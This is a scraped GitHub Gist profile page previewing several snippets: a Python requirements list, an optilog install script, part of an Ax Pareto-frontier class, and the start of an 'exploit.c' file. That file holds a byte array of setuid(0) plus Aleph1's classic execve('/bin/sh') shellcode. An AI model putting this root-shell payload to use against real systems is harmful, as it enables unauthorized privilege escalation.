Skip to content

Instantly share code, notes, and snippets.

View josalhor's full-sized avatar

Josep Maria Salvia Hornos josalhor

View GitHub Profile
@josalhor
josalhor / test
Last active November 3, 2022 23:11
//exploit.c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
matplotlib
worldmap
seaborn
optilog
python-slugify
webcolors
@josalhor
josalhor / optilog_inst.sh
Last active September 21, 2021 15:36
Optilog Install Script
URL="http://ulog.udl.cat/static/software/Lib/optilog/optilog-0.1.5-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl"
curl -O -J $URL
sudo pip install optilog-*.whl
rm optilog-*.whl
python3 -c "import optilog; print(optilog.__version__)"
@josalhor
josalhor / ax_best_points.py
Created August 19, 2021 09:14
Ax Pareto Frontier
class Frontier:
def __init__(self, objectives):
self.frontier = []
self.objectives = objectives
def load_df(self, df):
frontier = []
for _, point in df.iterrows():
if point['trial_status'] != 'COMPLETED':
continue